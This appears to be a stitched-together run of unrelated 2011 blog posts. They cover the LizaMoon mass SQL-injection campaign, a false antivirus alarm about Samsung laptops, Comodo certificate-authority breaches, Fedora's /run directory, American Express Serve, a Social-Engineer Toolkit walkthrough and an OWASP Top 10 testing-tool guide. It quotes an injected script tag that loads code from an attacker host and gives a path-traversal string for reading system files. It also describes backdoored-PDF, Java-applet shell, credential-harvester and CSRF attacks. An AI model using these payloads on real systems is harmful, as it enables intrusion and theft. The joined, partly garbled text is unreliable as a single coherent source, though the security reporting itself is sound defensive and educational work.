Websense Security Labs and the Websense Threatseeker Network have identified a new malicious mass-injection campaign that we call LizaMoon. Websense customers are protected with the Advanced Classification Engine.
The LizaMoon mass-injection is a SQL injection attack that inserts the following line into the code of the page:
<script src=hxxp://lizamoon.com/ur.php></script>
According to a Google Search, over 28,000 226,000 URLs have been compromised. This includes several iTunes URLs, as you can see below:
And here is the injected code at one of those iTunes URLs:
The way iTunes works is that it downloads RSS/XML feeds from the publisher to update the podcast and list of available episodes. We believe that these RSS/XML feeds have been compromised with the injected code. The good thing is that iTunes encodes the script tags, which means that the script doesn't execute on the user's computer. So good job, Apple.The URL that is injected is unavailable right now, but the server is still up and running, so that could change at any time. While it was up, the script contained simple JavaScript code that redirected the user to a well-known Rogue AV site: hxxp://defender-uqko.in. That site is also unavailable right now, so we don't have the actual binary analysis information available yet.
The domain lizamoon.com was registered three days ago with clearly fake information: UPDATE2: We have been monitoring the attack since it came out and noticed that the number of the compromised URLs is still increasing, 380,000 URLs so far, moreover, more domains started to be involved except for lizamoon.com.
ThinkGeek is looking for scavengers, hackers, school labs or hackerspaces who can take thier boxes of broken stuff from them every couple of months and then use the parts and pieces for hacking and building something of value, rather than discarding them right away. A novel thought. They want the labs or hackerspaces to pick the shipping cost, but are willing to negotiate on that. Good.
F-Secure now has confirmation for what they wrote in our previous blog post: Samsung is not shipping keyloggers on their laptops.
The whole saga was caused by a false alarm of the VIPRE Antivirus product. Apparently VIPRE detects the StarLogger keylogger by searching for the existence of a directory called "SL" in the root of the Windows directory. This is a bad idea.
As an example, here's a screenshot showing VIPRE alerting on a completely clean Windows computer after an empty "SL" folder was created:
As some Samsung laptops do indeed have a folder called "C:\WINDOWS\SL" on them by default, VIPRE would alert on them with a similar warning.
Unfortunately Mohamed Hassan (CISSP) who did the original analysis did not double-check his findings and blamed Samsung instead. Apparently he did not look at the contents of the "SL" folder at all.
Officials at Comodo have acknowledged that an additional two registration authorities affiliated with the company have been compromised in the wake of the high-profile attack on the company that was disclosed last week. However, no forged certificates were issued as a result of the new attacks.
In a message on a discussion thread set up after the original attack on a Comodo registration authority, Robin Alden, CTO of Comodo, said that the company has discovered two fresh compromises of its affiliated RAs during the investigation into the first attack. Alden did not furnish any other details about the new compromises.
"Two further RA accounts have since been compromised and had RA privileges withdrawn. No further mis-issued certificates have resulted from those compromises," Alden said in the message about the new RA compromises.Addressing a list of concerns about Comodo's practices raised by customers and browser vendors in the wake of the attack, Alden said that the company is now in the process of rolling out a new two-factor authentication system for its RAs. Comodo also is installing other security measures as a result of the attack.
"We are rolling out improved authentication for all RA accounts. We are implementing both IP address restriction and hardware based two-factor authentication. The rollout of two-factor tokens is in progress but will take another couple of weeks to complete. Until that process is complete Comodo will review 100% of all RA validation work before issuing any certificate," Alden wrote. The technical details of the attack on an RA affiliated with Comodo earlier this month are still unclear, although officials have said that the attacker went in through the account of one of its RAs and then was able to use the account to issue himself fraudulent certificates for a number of sites belonging to Google, Mozilla, Skype and Yahoo.
Someone claiming to be the attacker responsible for the Comodo compromise has posted several messages to Pastebin with the purported details of the attack. And on Monday the same person also posted the forged certificate for Mozilla that he issued himself, as well as the private key for the certificate. Alden said in the message on the Mozilla discussion thread that Comodo has determined that neither the company's hardware security module (HSM) nor its private key material were compromised in the original or subsequent attacks.
After the initial attack on Comodo became public, Mozilla officials called on Comodo to stop issuing certificates to RAs directly from the root that the company maintains. Alden said that the company is in the process of moving to that model. "We understand Mozilla's request that we move to having a separate sub_CA certificate per RA.Currently many of our end entity certificates are issued from RA-specific sub-CAs but some (like this incident) are not. As a short-term measure we will move towards issuing all certificates from sub-CAs. Initially some of these will be Comodo-branded and there will not be a 1:1 match between RAs and sub-CAs, but we think this will give Mozilla the flexibility they seek in this regard. In the slightly longer term we will move to a sub-CA per RA," Alden said.
For quite a while programs involved with early boot used to place
runtime data in /dev under numerous hidden dot directories. /dev/.udev
was the first one, but over time this grew to at least /dev/.mdadm,
/dev/.systemd, /dev/.mount, dracut, initscripts and more tools. (Other
distros have even more) The reason they used directories there is that
/dev was known to be a tmpfs and available from the first instant the
machine was booted. /var/run otoh is only available very late at
boot, since /var might reside on a separate file system.
However, /dev always has been an inappropriate and ugly place for
runtime data: runtime data is not a device node, and thus simply does
not belong there. Also, hiding the existance of directories from the
administator is a bad idea. Then, the fact that some runtime data was
placed in /var/run/xxx, and other in /dev/.yyy is often not
understandable to ther user, and especially when tools originally
intended to be used only after boot are needed during early boot a
complicated move between these directories needed to take place.
Over time different distributions experimented with different broken
solutions for the early-runtime-dir problem: on Debian /lib/init/rw was
introduced, a tmpfs fs mounted during early boot. On Ubuntu /var/run was
mounted as tmpfs even before /var itself was mounted, with some really
ugly bind mount magic. Most software however just sidestepped the issue
and used /dev/.xxx.
In the past weeks key people from the Debian, Suse, Ubuntu and Fedora
camps (and others, too) discussed the whole issue forth and back, to
find a solution to stop the misuse of /dev before it becomes even more
widespread. Various solutions have been suggested, but in the end it all
boiled down to the fact that /var/run does not belong beneath /var and
what we really want is a top-level directory /run, and that that is the
only really clean solution. The only reason why nobody dared to actually
implement such a directory was unwillingness to deal with the political
backlash, especially messy discussions on mailing lists like this one.
Understanding this, we came to the conclusion that we should rather
implement what everybody thinks is the right technical solution, instead
of evading the political backlash for it. And so we implemented this.
With this upload Fedora and Suse have already adopted /run now. Debian
folks will suggest this for their coming release. Ubuntu has agreed with
introducing /run as well.
Dracut, udev and systemd have already been updated upstream to make use
of /run. We expect mdadm and mount to follow suit quickly.
A few years back Debian folks already suggested introduction of /run,
and even pinged LSB folks about this, and back then there even was a vaguely
positive response from them.
So, what is implemented in F15 precisely?
/run is now a tmpfs, and /var/run is bind mounted to it. /var/lock is
bind mounted to /run/lock. Applications can use /run the same way as
/var/run. Since the latter is FHS/LSB most apps should just use the
latter, only early boot stuff should use /run, for now. The folks who
have packages where this applies already have been informed. If you
haven't heard from any of us, then this doesn't apply to you.
So, what's the benefit of this again?
- There's only one tmpfs used, backing /run, /var/lock and /var/run,
reducing a bit the ever increasing amount of tmpfs' used on a default
system.
- All runtime data at the same place. systemd's, udev's, dracut's data
are all beneath /run and /var/run now. Easily discoverable to the
admin. For the first time you can see the data all these important
tools used on your system store just like any other by doing "ls
/var/run".
- Nothing is hidden anymore. The admin can see everything beneath
/var/run and /run, no hidden dot-files anymore.
- We have standardized the early-runtime-dir solution across all major
distributions
- The people involved feel much better since they don't have to misuse
/dev anymore
- The lifecycle properties of directories are clear from the top-level
directory name. Lifecycle properties do no longer change the further
you go down your tree. i.e. /var is "persistant runtime data" and /run
is "volatile runtime data", and /etc is "persistant system config
data", and so on. The ugliness that /var/run abd /var/lock had
completely different liftime guarantees than /var where they both
reside in is gone.
So, this is what is implemented for F15 now. For F16 we will make a
minor change on top of this: /var/run and /var/lock will become symlinks
to /run (resp /run/lock), so that we don't have to use bind mounts
anymore which are not the most beautiful thing to use by default, and
confusing to the admin. Due to the implications of symlinks and RPM we
didn't want to make that change in F15.
One of the Metasploit Unleashed students, Nicholas B. volunteered to teach the client sides lecture this past week. I’ll be back in the spotlight this Thursday and Saturday with Metasploit post exploitation.
The guest speaker this week was Rob Fuller (mubix). He presented Metasploit Magic and even showed us a little something new.
Jamie Levy has posted the below update to her modified Volatility printkey Plugin, which includes a "brute-force" option to try to obtain a particular key from all hives. The idea works similar to how hivelist was written to inherit from hivescan; printkey inherits hivelist and can obtain the offsets for all hives if run in brute-force mode. It also retains the previous usage so you can specify an offset.
The Social-Engineer Toolkit (SET) is a toolkit that quite thoroughly demonstrates the fact that people, not technology, are the weakest links in a security system. Social engineering itself is the practice of manipulating people in order to get what you want. SET combines this approach with varying vectors, such as SMS, web browsers, and USB drives. We’re going to go over these features and show you what the SET is all about.
Select from the menu: 1. Spear-Phishing Attack Vectors 2. Website Attack Vectors 3. Infectious Media Generator 4. Create a Payload and Listener 5. Mass Mailer Attack 6. Teensy USB HID Attack Vector 7. SMS Spoofing Attack Vector 8 Update the Metasploit Framework 9. Update the Social-Engineer Toolkit 10. Help, Credits, and About 11. Exit the Social-Engineer Toolkit
When you first start SET, you are presented with a main menu that contains topics for the different attacks you can run. I’m going to start with option 1, Spear Fishing Attack Vectors.
Spear Fishing Attack Vectors
There are 3 different options here: Mass Email Attack, FileFormat Payload, and Social Engineering Template.
Mass Email Attack
The mass email attack allows you to send emails to a list of addresses, with a PDF embedded with an exe attached. First, you need to turn SENDMAIL to ON in set/config/set_config. Next, open SET back up and select Mass Email Attack. Once run, the PDF runs the exe, which can be used to open a backdoor on the system by utilizing Metasploit. You are first offered the option of selecting which exploit you want to use to run the exe with. Next, you select the payload, courtesy of Metasploit. Depending on the payload, you will need to enter your IP and port for the reverse TCP connection. The PDF is then generated. The email addresses you specified then receive a custom email, complete with an attached backdoor PDF.
FileFormat Payload
The FileFormat Payload vector is basically the same thing as Mass Email Attack, minus the email It outputs malware that you can then distribute yourself.
Social Engineering Template
The Social Engineering Template allows you to construct a template to be used with SET, and emails it to the SET developers for consideration in future versions
Website Attack Vectors
Option 2 is the Website Attack Vector, which contains all browser based attacks.
Java Applet Attack Vector
The first, and in my opinion most impressive, is the Java Applet Attack Vector. Basically, this will run a custom Java applet when the URL is opened, and instantly creates a Meterpreter/shell session on the victim. To enable the Java applet, you first need to go to Line ~48 in set/config/set_config and change SELF_SIGNED_APPLET to ON. Next, open up set and select Java Applet Attack Vector. From here, you have two options: the Site Cloner or Custom Import. The Site Cloner will actually download the page you are trying to emulate, inject the malicious applet. Custom Import allows you to import your own HTML and inject the applet there. After filling in the appropriate details, SET will set up a webserver (locally) hosting the applet and corresponding page, and Metasploit takes care of post social engineering.
This is a very convincing attack, since most users will automatically click “Trust Applet” whenever it pops up, especially if it is signed (SET self signed applet feature) by a “legitimate” source. Moral of the story? Don’t run Java applets unless you are a) expecting it, and b) you trust the site it is hosted on.
Credential Harvester Attack Method
This feature sets up a password/username harvester by downloading a copy of the target site, and reworking the form structure so that all information inputted is read and saved by the attacker. Since it makes an exact copy of the site in question, it is rather convincing and even has the bonus feature of redirecting the user to the actual website after the credentials were stolen, reducing suspicion. One way to prevent falling for this one is to make sure you look at the URL before submitting anything. That includes checking sub-domain usage, since this can easily be used to try to trick victims into giving them information.
Teensy USB HID Attack Vector
This vector uses a USB dongle, the Teensy, in order to act like a physical keylogger on a system. SET outputs an Arduino (microcontroller) sketch containing the payload, which is then uploaded from the Arduino to the Teensy. This vector makes great use of the idea of physical security; as long as a system can be physically accessed, it really isn’t safe.
SMS Spoofing Attack Vector
This vector uses an online service to send a spoofed/custom SMS text message to a number of your choosing. This one is especially interesting, because it hits upon another media that hasn’t been completely tapped into yet: mobile devices. People usually don’t questions if a message that came from a number really came from that number.
That pretty much sums up the Social-Engineer Toolkit. Overall, it’s a very interesting example of how error in both human and computer nature can work together in very destructive ways. As always, make sure you don’t use any of the information posted on here for purposes that would be considered questionable, or illegal.
American Express has ceaselessly driven into our heads, “Don’t leave home without it” as the commercial message for its American Express card. Now it’s launching its Serve digital payments platform, so it can tell us, “Don’t go online without it.”
The move to give consumers new ways to spend, send and receive money online will help American Express go to war with PayPal and Visa, which bought PlaySpan for $190 million in February. And it suggests that the battle to control digital payments online is going to be a big one, since billions upon billions of dollars in transaction fees are at stake. The overall goal is to provide a digital alternative to cash.
“This provides us with an opportunity to deepen our relationships with consumers to fit their increasingly digital lifestyles,” said Dan Schulman, group president of enterprise growth at American Express, in a conference call on Monday morning.
The announcement shows that American Express wants to go after a new demographic of consumers, including those who are young and tech savvy but perhaps not fans of credit cards or other traditional payments. It will also help American Express penetrate emerging markets overseas where cash rules. Until now, American Express wasn’t reaching a lot of consumers who don’t use traditional credit cards.
Just last week, mobile payments firm Boku hooked up with O2 in Germany to offer mobile payments for physical goods as well as digital goods. With Serve, consumers can make purchases and person-to-person payments a variety of ways: online, via mobile phones or via the millions of merchants who accept American Express Cards.
American Express says that Serve unifies multiple payment options into a single account that can be funded from a bank account, debit, credit or charge card, or by receiving money from another Serve account. Serve’s aim is to get rid of cash, check, or debit cards by being more convenient. Serve accounts can be accessed from apps on Apple iOS and Android devices. Users can also access accounts on Serve.com and on Facebook. Schulman said Serve is an open platform, allowing users to fund the accounts from any source available. It’s not tied to a particular device, bank, credit card or debit card.
Over time, the company will add new features and functions to Serve. American Express will also promote Serve with a wide range of partners and deliver customized offers to consumers.
For the first six months, American Express will waive fees for consumers. You can set up an online account with Serve, funding it from bank accounts, debit cards, credit or charge cards, or other Serve accounts. You can then use that account to send and receive money to friends, pay bills and make purchases online. The account comes with a reloadable Serve prepaid card that you can use at any merchant or automated teller machine that accepts American Express cards.
PayPal, the major rival to American Express in this market, said in a statement, “The increased interest in digital payments validates consumer demand for safe, easy and flexible payment services. The online and offline worlds are blurring, and as a result, everybody wants a piece of the digital payments market. In PayPal’s 12-year history, we’ve always faced competition from some of the largest companies in the world. PayPal was built from the ground up to focus solely on digital payments, and we believe that gives us tremendous advantages including our industry-leading anti-fraud capabilities, our global footprint and connections to local banking infrastructures around the world, and our open payment platform that enables innovation into whole new consumer payment applications. We’ll continue to stay focused on defining the future of how people shop and pay – and giving our customers a better way to send and receive money.”
In contrast to debit cards, Serve lets you create sub-accounts, for spouses or children. That allows parents to set allowances for children or others in the family. Parents can specify what the money can be spent for, such as allowing cash withdrawals or limiting spending to merchant transactions only. Parents can also receive reports back on how their children spent the money. The same accounts could be used for small businesses, such as authorizing sub accounts for delivery drivers who incur expenses on the go.
Serve is starting in the U.S. now and will roll out overseas in the coming year. It is doing a marketing pilot with merchants in Eugene, Ore. Schulman said the company will test a bunch of marketing messages in that market and otherwise experiment.
“This is a beta world we live in,” Schulman said. “We will listen and learn.”
The first partners for the platform are Ticketmaster, expense reporting firm Concur and Flipswap. American Express plans to go after partners in commerce, gaming, entertainment and social networking, Schulman said. Ticketmaster will use Serve as an option for customers to buy and sell tickets with other customers. Concur will use it as an expense management and reimbursement method for transactions processed by Concur’s small business expense reporting service, Concur Breeze. Flipswap will use Serve to issue refunds more quickly to consumers who sell or trade in their old mobile phones for reuse or recycling.
Serve is also working with five charities: Autism Speaks, Best Friends Animal Society, Malaria No More, Save The Children and Stand Up For Kids. Users can make donations to those charities via a donations widget that can be downloaded from Serve.com or its Facebook site. That widget can be shared on other web sites to solicit donations. American Express will match contributions via the widget, up to $100,000 for each charity.
After the six-month free period ends, American Express will charge 30 cents per spending transaction and a 2.9 percent fee for each transaction where a user transfers money into a Serve account. The first ATM transaction in a given month is free, but subsequent transactions cost $2 each.
Schulman said that the system will be able to evolve to work with near-field communication, an emerging technology where you can pay for something with a mobile phone by waving it over a wireless reader. American Express will judge success by the number of customers, partners, customer satisfaction, the number of developers coming on board, and the mix of funding sources, Schulman said. He said the company will be very focused on making Serve as secure as possible.
The company has made an upfront investment in the technology and will have incremental expenses as it signs up more customers.
News, news, news… Hey guys and gals of the security community. The team is pleased to announce the release of version 1.4 of the Open Pentest Bookmarks Collection. A large amount of community submissions, with the addition of several new sections. Some Bookmarks have been moved to better organize everything. to download the file for import straight into firefox or chrome go here.
Bruce has an excellent blog article (as below) detailing the storage architecture in Windows. Nice Work.
Introduction
Troubleshooting Windows storage disk issues can be a very challenging endeavor. It often helps to have an understanding of what’s under the hood, so to speak, with regards to I/O requests, device drivers and redundant storage architectures. This article explores the fundamental Windows storage components and how they interact to provide high performance, reliable data storage.
The I/O Request
The process of reading or writing data from a disk begins with an I/O request from a user application or a component of the operating system. This request is typically a READ or WRITE request to either retrieve or store data in a particular file. Files are stored on disks utilizing various formats such as FAT32 or the NTFS file system. Finally, the actual magnetic bits on the disks are read or written to by the disk controllers. As you can see below, there are several layers of the Windows storage architecture that an I/O request must travel.
Storage Drivers
To accommodate the different layers of the storage architecture, kernel mode software called drivers are used to implement I/O requests. There are several types of storage drivers including class drivers, port drivers, miniport drivers, and filter drivers. There is also a group of drivers that ensure fault tolerance by utilizing multiple paths or redundant storage technology to avoid a single point of failure. The collection of drivers used to process an I/O request is referred to as the storage stack. The following diagram illustrates the Windows storage stack.
To better understand the flow, let’s trace a typical “read” request through the Windows storage stack. To begin with, a user application initiates the I/O request with a system service call to the NTFS file system (ntfs.sys driver). The NTFS file system will pass the request to any filter drivers that may be loaded. A filter driver is a driver that intercepts the I/O requests and performs additional checks or functions, like an anti-virus or volume snapshot driver.
Once the filter drivers process the I/O request, the partition manager (partmgr.sys driver) locates the corresponding partition utilizing the disk class driver (disk.sys). Next, any multi-path drivers are used to establish the I/O path to the storage device if multiple paths are implemented. Microsoft provides a universal multi-path driver (mpio.sys) that other vendors leverage to provide redundant paths. The following example shows a multi-path storage configuration to avoid a single point of failure.
Next, the I/O request is handed off to the port driver (typically storport.sys or scsiport.sys). The role of the port driver is to process the I/O request by interfacing with the lower level vendor specific miniport drivers. The miniport drivers implement additional vendor specific functionality for the storage controllers. At this point, the data is read from the disk by the storage controller and is passed back up the storage stack to the user application.
Summary
The Windows storage architecture has developed over time to include several layers of abstraction. These layers are represented by kernel mode drivers that pass I/O requests through the storage stack. A variety of storage drivers may be installed including filter drivers, multi-path drivers and vendor specific device drivers. All of these drivers must be compatible with each other to successfully perform the I/O requests. Most storage issues result when a particular driver is upgraded that depends on another driver that is no longer compatible.
Description: A tool for each of the OWASP Top 10 to aid in discovering and remediating each of the Top Ten
Introduction
If you’ve spent any time defending web applications as a security analyst, or perhaps as a developer seeking to adhere to SDLC practices, you have likely utilized or referenced the OWASP Top 10. Intended first as an awareness mechanism, the Top 10 covers the most critical web application security flaws via consensus reached by a global consortium of application security experts. The OWASP Top 10 promotes managing risk via an application risk management program, in addition to awareness training, application testing, and remediation. Yet, to manage such risk as an application security practitioner or developer, an appropriate tool kit is necessary.
As WhiteHat Security is a significant contributor to the Top 10, I’m comfortable citing a few key elements from the 11th edition of their Website Security Statistic Report.
First, “information leakage” surpassed cross-site scripting by a few tenths of a percent. The report defines information leakage as “a catchall term that describes a vulnerability in which a website reveals sensitive data, such as technical details of the Web application, environment, or user-specific data.” You’ll see how information leakage serves as a meta-vulnerability when considering the whole of the Top 10.
Second, the lessons offered in the WhiteHat report are worthy of repeating as they are entirely applicable to our discussion.
Lesson 1:
Software will always have bugs and by extension, security vulnerabilities. Therefore, a practical goal for a secure software development lifecycle (SDLC) should be to reduce, not necessarily eliminate, the number of vulnerabilities introduced and the severity of those that remain.
Lesson 2:
Exploitation of just one website vulnerability is enough to significantly disrupt online business, cause data loss, shake customer confidence, and more. Therefore, the earlier vulnerabilities are identified and the faster they are remediated the shorter the window of opportunity for an attacker to maliciously exploit them.
The conclusion is therefore simple: reduction and remediation of web application security flaws will shrink the number of attack vectors and improve security posture. Ground breaking, right? No, it’s old news, “security posture” is a worn out buzz phrase, and if everyone was diligent about the above mentioned reduction and remediation, we’d likely not need a Top 10 list or a 12th Website Security Statistic Report (count on one). But hey, then we’d have to find different work, right?
Gifford Pinchot once said “Never bet on a race unless you are running in it.”
As solutions are always better than complaints, let’s discuss how to get in the race with some tooling options as we explore each of the Top 10, but first a quick overview.
Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.
XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or exploit other implementation flaws to assume other users’ identities.
A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.
A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.
Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. All these settings should be defined, implemented, and maintained as many are not shipped with secure defaults. This includes keeping all software up to date, including all code libraries used by the application.
A7: Insecure Cryptographic Storage
Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes.
Many web applications check URL access rights before rendering protected links and buttons. However, applications need to perform similar access control checks each time these pages are accessed, or attackers will be able to forge URLs to access these hidden pages anyway.
Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly.
Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.
For nine of the OWASP Top 10 web application security risks I will suggest a tool to help you identify and mitigate these risks within your organization’s web applications and services. I will further endeavor to provide a unique tool for each risk thus avoiding redundancy while providing you with multiple options.
There are a plethora of tools available to conduct this work; this is simply a list of those I have used for various engagements, research, and daily job duties. I guarantee that if you chose to you could define entirely different set of tools with which to assess these vulnerabilities. I will point you to a few very useful and related resources. Samurai Web Testing Framework (WTF) is an excellent Linux-based LiveCD distribution created by Kevin Johnson of Secure Ideas and Justin Searle of InGuardians to include what they believe are the best of the open source and free tools that focus on testing and attacking websites, selections based on the tools they use as part of their job duties. As part of the Samurai collective there is also the Samurai WTF Firefox add-ons collection which includes web application penetration testing and security analysis add-ons for your Firefox browser.
My favorite platform against which to test tools and methods is OWASP’s WebGoat, a “deliberately insecure J2EE web application designed to teach web application security lessons.” I recommend WebGoat 5.3 RC1 Standard Release as the ultimate learning/teaching tool as it more lab-centric. See the download site includes guidance on solving the WebGoat Labs.
Finally, FoxyProxy, part of the above mentioned collection is one of those “can’t live without” tools for me as I bounce between proxies regularly.
Most people are familiar with SQL injection as it is both prevalent and of severe impact. The Firefox add-on SQLInject Me, part of the SamuraiWTF add-on collection, is useful to test the application you’re browsing where you can test all forms or selected parameters with all available attacks or the tool’s predetermined top nine tests. When selected from Tools, then SQL Inject Me, this tool will run as a sidebar as seen in Figure 1, including adding or removing attack strings via Options.
Figure 1 – SQL Inject Me>
Results will be reported to a separate Firefox tab when the test run is complete.
The Zed Attack Proxy (ZAP), also an OWASP project, is “an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.” It’s also a code fork of the Paro Proxy project (no longer supported). ZAP has ongoing support and a roadmap for future releases; expect continued feature enhancements. Version 1.2.0 includes an intercepting proxy, automated, passive, brute force, and port scanning, as well as spidering capabilities. While ZAP is capable of a variety of web application security checks, we’ll use it here to test for cross-site scripting (XSS).
Be sure to define ZAP up as one of your proxies with FoxyProxy, fire it up after installation, set Firefox to run traffic through it via FoxyProxy, and set about to some testing.
I pointed ZAP at my lab-installed version 3.5 of Newscoop, repaired in 3.5.1 after coordinated disclosure with the vendor.
After viewing an application, the ZAP UI will populate with visited pages. I right-clicked newscoop, then chose spider. This will crawl all pages accessible per your current permissions. I typically tune my Scan Policy via Analyze to avoid unnecessary tests, and then select Scan to assess the selected application. Figure 2 exhibits the discovery of the disclosed Newscoop XSS bug.
Figure 2 – ZAP>
I appreciate ZAP as much for its spidering capabilities as I do for its scanning functionality and consider it my second favorite proxy behind only Burp.
A common failing that leads to exposure via Broken Authentication and Session Management is weak protections for session IDs. They’re either often exposed without SSL/TLS, poorly stored (not cryptographically), or revealed via URL rewriting. I’ve actually seen apps where the session ID is an MD5 or SHA1 hash of the password established by the user. If an attacker is playing Man in the Middle or is able to acquire session ID via XSS, assuming it isn’t subject to replay without being reversed, one could use the Firefox add-on HackBar. Once installed, hit F9 to show HackBar, then select Encryption, followed by MD5 Menu or SHA1, then Send to, which will pull results, if available.
Figure 3 – HackBar>
In addition to XSS and SQLi checks, HackBar is very useful for encoding and decoding Base64, URLs, and HEX.
I’m of the opinion that path or directory traversal is the worst of Insecure Direct Object References when left unchecked as an attacker could gain access to the likes of /etc/passwd.
While I use Burp as my primary web application security flaw analysis tool, the commercial version in particular, you can also use the free version (minus the Scanner feature) to discover path or directory traversal.
Burp also runs as a proxy; again configure FoxyProxy accordingly. Fire up Burp (you’ll need Java), then point your browser at the target site. Via WebGoat, this is the Access Control Flaws – Bypass a Path Based Access Control Scheme lesson. Right-click the target URL (http://localhost/WebGoat/attack?Screen=17&menu=200) as populated in Burp’s left pane and choose send to repeater. Navigate to the repeater tab, and modify theBackdoors.html entry, as submitted to the File parameter, to BackDoors.html..\..\..\..\..\..\..\..\..\..\windows\win.ini,
then click go.
Figure 4 clearly indicates that we’ve acquired direct access to the host system’s win.ini file.
Figure 4 – Burp>
An attacker would clearly use a more harmful string (think the SAM) if attacking your Windows based web server.
There is one tool with which I test for cross-site request forgery (CSRF) flaws than any other: Tamper Data. Also one of the SamuraiWTF add-on collection, Tamper Data makes interacting with web forms incredibly simple.
Targeting an arbitrarily renamed application (GalleryApp), I used Tamper Data to determine that GalleryApp was susceptible to CSRF attacks via all parameters submitted to the admin.php script. Such CSRF vulnerabilities allow the ability to create or delete accounts by tricking an administrative user into visiting a malicious web site.
With Tamper Data running (in Firefox: Tools then Tamper Data), I visited my GalleryApp test instance. To validate the CSRF vulnerability, I first created a second user, selected Start Tamper in Tamper Data, and then choose to click Delete to analyze the POST parameters submitted to complete the action.
As the application makes use of common logic it assigned the second user an id of 2. Logic like this allows for predictability that an attacker can make quick use of as seen in Figure 5. Again, note the absence of a token/formkey of any kind; this is often a key indicator that CSRF vulnerabilities exist.
Figure 5 – Tamper Data>
My attack proof of concept took the form of an HTML page that included a form with name (deleteID) and action parameters, as well as a POST method and hidden inputs. To round out the effort, the page included script for a quick timing delay and document.deleteID.submit(); to complete the intended task. As seen in Figure 5, to complete my validation with the values seen via Tamper Data, the hidden input included:
Passing a value of my choosing via my POST form allowed me to create a privileged user, a directive issued in the context of the authenticated user, at my bidding.
Watobo enables security professionals to perform highly efficient, semi-automated web application security audits and is a good tool for discovering certain misconfigurations in addition to other audit functions for the likes of XSS and SQLi.
I used it against one of my lab servers that is intentionally vulnerable as intended for convenient, internal use only. As this would be the text book definition of security misconfiguration were it to be exposed to the Internet, I pointed Watobo at it for an “audit.”
Watobo runs as a proxy, and is Ruby-dependent so you’ll need a Ruby interpreter on your system. Configure FoxyProxy to push traffic to Watobo over default port 8081. You’ll need to define a Project, then a Session, then browse to your target site via you browser of choice. Select the target, then the big green arrow (it’s that easy). You’ll need to define scope; I selected Apache, Misc, and File Inclusion.
Figure 6 exemplifies the directory listing finding, a common security misconfiguration.
It’s one thing to ensure that your app check URL access rights before rendering protected links and buttons, but if the application doesn’t perform similar access control checks each time these pages are accessed attackers will be able to gain access to these hidden pages, particularly of the application hierarchy is well known (think WordPress) via tools such as Nikto or Wikto (Nikto-like GUI for Windows).
Nikto, from cirt.net (whose motto is; suspicion breeds confidence), is a “web server scanner which performs comprehensive tests against web servers for multiple items, including over 6400 potentially dangerous files/CGIs, checks for outdated versions of over 1000 servers, and version specific problems on over 270 servers.”
Nikto requires a Perl interpreter. Running it on a Linux system is as simple as ./nikto.pl –h .
Figure 7 shows the results of a run against the same server as mentioned in A6.
Figure 7 – Nikto>
You’ll have some definite false positives with Nikto, but you’ll also pull some gold from that pan.
Note the bottom of Figure 7 wherein it recommends restricting access.
Describing Insufficient Transport Layer Protection is easy enough. You’re not using SSL. See how easy that was? Lots of web application security testing tools let you know when you’re application fails to utilize SSL/TLS where recommended (think administrative or login functions) or is using a lesser version (SSL v1 or 2). Another interesting Firefox add-on, this one not in the SamuraiWTF collection gives excellent feedback on a certificate’s status. As an example, the Calomel add-on quickly noted that my own self-signed cert for holisticinfosec.org is total crap (it’s for me, not for you) as seen in Figure 8.
Figure 8 – Calomel>
Calomel will validate the grade of security of the SSL connection and the toolbar button will change color depending on the strength of encryption from red (weak) to green (strong). All the certificate state details are offered in drop down window as well.
Watcher is Chris Weber’s Fiddler add-on (IE only) and works incredible well as a passive analyzer. Also useful for spotting the above mentioned transport layer issues, Watcher also nabs open redirects and forwards should you be running Fiddler with Watcher as you browse. Once installed along with Fiddler using Watcher is as easy as ensuring that IE traffic proxied through Fiddler and that Watcher is enabled in Fiddler. Then browser your target site and interact; Watcher will monitor and alert passively as seen in Figure 9.
Figure 9 – Watcher
Open redirects are problematic as they make it even easier for phishers to exploit their victims given that URLs appear to originate from known good sites. If you’re ever bored and want to see how widely available open redirects are, try this Googledork: inurl:”redirect.asp?url=”.
Honorable Mention: W3AF, skipfish & Websecurify
I’ve used all of three of these tools and like them very much; I quite simply didn’t find a spot to squeeze them in for this article. I’ve covered skipfish before in my monthly column in the ISSA Journal.
Tools such as these are comprehensive in their checks and offer similar functionality and features albeit with different approaches and interfaces.
The Web Application Attack and Audit Framework or W3AF is also preinstalled on SamuraiWTF, another good reason to grab that LiveCD iso.
Cooler still, W3AF even includes an OWASP_TOP10 profile to allow you to run a predefined audit against an application for all Top 10 concerns.
